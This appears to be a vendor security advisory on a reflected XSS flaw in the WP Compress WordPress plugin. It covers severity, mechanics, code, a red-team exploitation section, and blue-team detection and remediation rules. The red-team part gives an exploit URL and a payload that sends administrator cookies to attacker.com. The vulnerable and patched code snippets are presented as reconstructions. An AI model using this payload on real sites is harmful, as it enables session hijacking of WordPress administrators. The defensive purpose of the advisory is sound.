CVE-2024-12047

Executive Summary

CVE-2024-12047 is a reflected cross-site scripting (XSS) vulnerability in the WP Compress – Instant Performance & Speed Optimization WordPress plugin, affecting all versions up to and including 6.30.03. The flaw resides in the custom_server parameter, which is insufficiently sanitized and escaped before being reflected back to the user. An unauthenticated attacker can craft a malicious link that, when clicked by an authenticated administrator, executes arbitrary JavaScript in the context of the WordPress admin dashboard. This can lead to session hijacking, privilege escalation, or the injection of malicious content.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The WP Compress plugin is installed on thousands of sites to optimize images and performance. The attack vector relies on social engineering to trick a user into clicking a crafted URL, making it a classic reflected XSS within the WordPress admin area.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for user interaction, but the potential for account takeover and lateral movement within the WordPress admin panel elevates the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability is triggered via the custom_server parameter in the plugin’s admin-facing pages. When a request is made to a URL like:

/wp-admin/admin.php?page=wp-compress&custom_server=<script>alert('XSS')</script>

The plugin directly reflects the value of custom_server into the HTML response without proper sanitization or output escaping. Because the plugin runs in the WordPress admin context, the injected script executes with the privileges of the logged-in administrator.

The root cause is the use of $_GET['custom_server'] without applying WordPress’s built-in escaping functions like esc_html() or esc_attr(). The plugin likely echoes the parameter directly into a JavaScript variable or HTML attribute.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.30.03):

$custom_server = $_GET['custom_server'];
echo "<input type='hidden' id='custom_server' value='$custom_server' />";

Patched Code (Hypothetical):

$custom_server = isset($_GET['custom_server']) ? esc_attr($_GET['custom_server']) : '';
echo "<input type='hidden' id='custom_server' value='" . esc_attr($custom_server) . "' />";

The patch would apply esc_attr() to the output, ensuring any HTML or JavaScript is encoded.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with WP Compress <= 6.30.03 installed and activated.
• A victim with admin privileges who will click a crafted link.

Exploit URL:

http://target.com/wp-admin/admin.php?page=wp-compress&custom_server=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Steps:

1. Craft a URL that injects a malicious script into the custom_server parameter.
2. Use URL encoding to bypass basic filters (e.g., %22 for ", %3E for >).
3. Send the link to the victim via email, social engineering, or a compromised page.
4. When the victim clicks the link, the script executes in the admin context, exfiltrating cookies or performing actions.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor web server logs for requests to /wp-admin/admin.php with a custom_server parameter containing suspicious characters (e.g., <, >, script, onerror).
• Use WAF rules to block requests where custom_server contains HTML or JavaScript.

Hunting:

• Search for custom_server in HTTP GET parameters in recent logs.
• Look for outbound connections to unknown domains from the WordPress admin IP.

Indicators of Compromise (IOCs)

• URL Pattern: /wp-admin/admin.php?page=wp-compress&custom_server=*
• Log Entry: GET /wp-admin/admin.php?page=wp-compress&custom_server=%22%3E%3Cscript%3E
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• File: Modified WordPress admin pages or injected JavaScript in the database.

Detection Engineering

YARA Rule

rule CVE_2024_12047_WP_Compress_XSS {
    meta:
        description = "Detects reflected XSS attempts against WP Compress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12047"
    strings:
        $param = "custom_server="
        $xss1 = "<script"
        $xss2 = "onerror="
        $xss3 = "alert("
    condition:
        $param and any of ($xss*)
}

Sigma Rule

title: Reflected XSS via WP Compress custom_server Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against WP Compress plugin CVE-2024-12047
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "custom_server="
        cs-uri-query|contains|any:
            - "<script"
            - "onerror="
            - "alert("
    condition: selection
falsepositives:
    - Legitimate use of custom_server with non-malicious values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12047 WP Compress Reflected XSS"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"custom_server="; http_uri; pcre:"/(<script|onerror=|alert\()/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests containing custom_server with HTML/JavaScript characters.
3. Educate users not to click suspicious links, especially those containing wp-admin URLs.

Long-Term Fix:

• The vendor must release a patched version that properly escapes the custom_server parameter using esc_attr() or esc_html().
• Apply WordPress’s wp_kses() or sanitize_text_field() for input validation.

Workaround:

• Add the following to .htaccess to block malicious requests:

RewriteCond %{QUERY_STRING} custom_server=.*<script [NC,OR]
RewriteCond %{QUERY_STRING} custom_server=.*onerror= [NC]
RewriteRule ^ - [F,L]

Valters IT
Securing Digital Frontiers